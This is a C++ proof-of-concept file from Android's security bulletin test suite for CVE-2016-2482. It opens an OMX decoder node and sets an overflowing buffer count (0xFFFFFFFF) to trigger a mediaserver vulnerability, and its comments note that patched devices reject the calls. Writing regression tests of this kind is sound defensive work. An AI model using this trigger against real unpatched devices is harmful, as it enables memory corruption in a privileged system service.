hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/poc.cpp

/**
* Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
*      http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/

#define LOG_TAG "CVE-2016-2482"

#include <OMX_Component.h>
#include <OMX_Types.h>
#include <binder/IServiceManager.h>
#include <binder/MemoryDealer.h>
#include <media/IMediaPlayerClient.h>
#include <media/IMediaPlayerService.h>
#include <media/IMediaRecorder.h>
#include <media/IOMX.h>
#include <media/OMXBuffer.h>
#include <media/stagefright/OMXClient.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <utils/StrongPointer.h>

#define OMX_DirInput 0
#define OMX_CORE_INPUT_PORT_INDEX 0

using namespace android;

struct DummyOMXObserver : public BnOMXObserver {
public:
  DummyOMXObserver() {}

  virtual void onMessages(const std::list<omx_message> &messages __unused) {}

protected:
  virtual ~DummyOMXObserver() {}
};

// decoder
bool fuzzIOMXSetParameterChangeCount() {
  const char *name = "OMX.qcom.video.decoder.avc";
  sp<IMemory> memory;
  sp<IOMXNode> node = 0;
  sp<IOMX> mOmx;
  IOMX::buffer_id bufferId = 0;
  int outMemSize = 1024;
  int bufferCnt = 4;
  int memSize = 49 * outMemSize * bufferCnt;

  OMXClient client;
  if (client.connect() != OK) {
    ALOGE("OMXClient connect == NULL");
    return false;
  }

  mOmx = client.interface();
  if (mOmx == NULL) {
    ALOGE("OMXClient interface mOmx == NULL");
    client.disconnect();
    return false;
  }

  sp<DummyOMXObserver> observerDec = new DummyOMXObserver();

  ALOGE("-----------decode------------");
  status_t err = mOmx->allocateNode(name, observerDec, &node);
  if (err != OK) {
    ALOGE("%s node allocation fails", name);
    client.disconnect();
    return false;
  }

  sp<MemoryDealer> dealerIn = new MemoryDealer(memSize);

  memory = dealerIn->allocate(memSize);
  if (memory.get() == nullptr) {
    ALOGE("memory allocation failed , err: %d", err);
    node->freeNode();
    client.disconnect();
    return false;
  }

  OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
      sizeof(OMX_PARAM_PORTDEFINITIONTYPE));

  if (params == NULL) {
    ALOGE("memory allocation failed , err: %d", err);
    node->freeNode();
    client.disconnect();
    return false;
  }
  memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));

  params->eDir = (OMX_DIRTYPE)OMX_DirInput;

  params->nBufferCountActual = 1024 * 1024 / 16;
  params->nBufferSize = 0x31000;
  params->format.video.nFrameHeight = 0;

  /*
   * Exit from here if setParameter fails.
   * This is the expected behavior in Android N
   */
  err = node->setParameter(OMX_IndexParamPortDefinition, params,
                           sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
  ALOGI("setParameter, err: %d", err);
  if (err != OK) {
    node->freeNode();
    free(params);
    client.disconnect();
    return false;
  }

  /*
   * Exit from here if useBuffer fails.
   * This is the expected behavior in Android N
   */
  err = node->useBuffer(OMX_CORE_INPUT_PORT_INDEX, memory, &bufferId);
  ALOGE("useBuffer, err: %d", err);
  if (err != OK) {
    node->freeNode();
    free(params);
    client.disconnect();
    return false;
  }

  params->nBufferCountActual = 0xFFFFFFFF;

  err = node->setParameter(OMX_IndexParamPortDefinition, params,
                           sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
  ALOGE("setParameter, change actualcount, err: %d", err);

  err = node->freeNode();
  free(params);
  client.disconnect();
  ALOGI("freeNode, err: %d", err);
  return true;
}

int main() {
  return (int)(!fuzzIOMXSetParameterChangeCount());
}